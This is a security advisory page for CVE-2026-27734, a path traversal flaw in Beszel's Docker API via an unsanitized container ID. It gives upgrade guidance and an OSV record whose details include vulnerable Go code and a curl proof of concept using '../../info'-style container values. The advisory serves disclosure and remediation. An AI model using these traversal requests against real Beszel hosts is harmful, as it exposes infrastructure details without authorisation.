CVE-2026-27734: Beszel Path Traversal Vulnerability
MODERATECVE-2026-27734 is a MODERATE (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Beszel libraries in the Go ecosystem. The issue involves docker api has a path traversal vulnerability via unsanitized container id. Remediation is available by upgrading affected packages to version 0.18.4.
CVE-2026-27734 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-27734
To remediate this vulnerability, upgrade all affected Beszel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/henrygd/beszel to 0.18.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/henrygd/beszel
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-27734, inspect your project dependencies for Beszel:
inspect dependencies for github.com/henrygd/beszel
Analyze the terminal output to locate any version of Beszel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.18.4), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Beszel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-27734 Affected Beszel Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/henrygd/beszel
|
Go |
< 0.18.4
|
0.18.4
|
References
Frequently Asked Questions
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-phwh-4f42-gwf3",
"modified" : "2026-02-27T22:20:39Z",
"published" : "2026-02-27T21:01:05Z",
"aliases" : [ "CVE-2026-27734" ],
"summary" : "Beszel: Docker API has a Path Traversal Vulnerability via Unsanitized Container ID",
"details" : "### Summary\n\nThe hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied \"container\" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.\n\n### Details\n\n**Hub** (internal/hub/hub.go:407-426): `containerID` from query param is only checked for emptiness, no format validation:\n```go\ncontainerID := e.Request.URL.Query().Get(\"container\")\nif systemID == \"\" || containerID == \"\" { ... }\ndata, err := fetchFunc(system, containerID) // passed directly to agent\n```\n\n**Agent** (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:\n```go\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/json\", containerID)\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d\", containerID, dockerLogsTail)\n```\n\nGo's http.Client preserves `../` in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.\n\n### PoC\n\nTested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).\n```bash\n# Authenticate\nTOKEN=$(curl -s -X POST \"http://localhost:8090/api/collections/users/auth-with-password\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"identity\":\"user@example.com\",\"password\":\"password\"}' | jq -r '.token')\n\nSYSTEM=\"<system_id>\"\n\n# Path traversal: Docker version (returns full engine version, kernel, Go version)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=\" \\\n -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: Docker system info (returns hostname, OS, container count, network config)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=\" \\\n -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: List all images (triggers unmarshal error confirming traversal works)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=\" \\\n -H \"Authorization: Bearer $TOKEN\"\n```\n\nAll three requests returned real data from the Docker Engine API on the agent host.\n\n### Impact\n\nAny authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.\n\n## Researcher\n\nSergio Cabrera\nhttps://www.linkedin.com/in/sergio-cabrera-878766239/",
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"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
} ],
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"ecosystem" : "Go",
"name" : "github.com/henrygd/beszel"
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"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.18.4"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.18.3"
}
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"url" : "https://github.com/henrygd/beszel/security/advisories/GHSA-phwh-4f42-gwf3"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27734"
}, {
"type" : "WEB",
"url" : "https://github.com/henrygd/beszel/commit/311095cfddda113863ca9656cf9e99411be1cef5"
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"type" : "PACKAGE",
"url" : "https://github.com/henrygd/beszel"
}, {
"type" : "WEB",
"url" : "https://github.com/henrygd/beszel/releases/tag/v0.18.4"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-27T21:01:05Z",
"nvd_published_at" : "2026-02-27T20:21:38Z"
}
}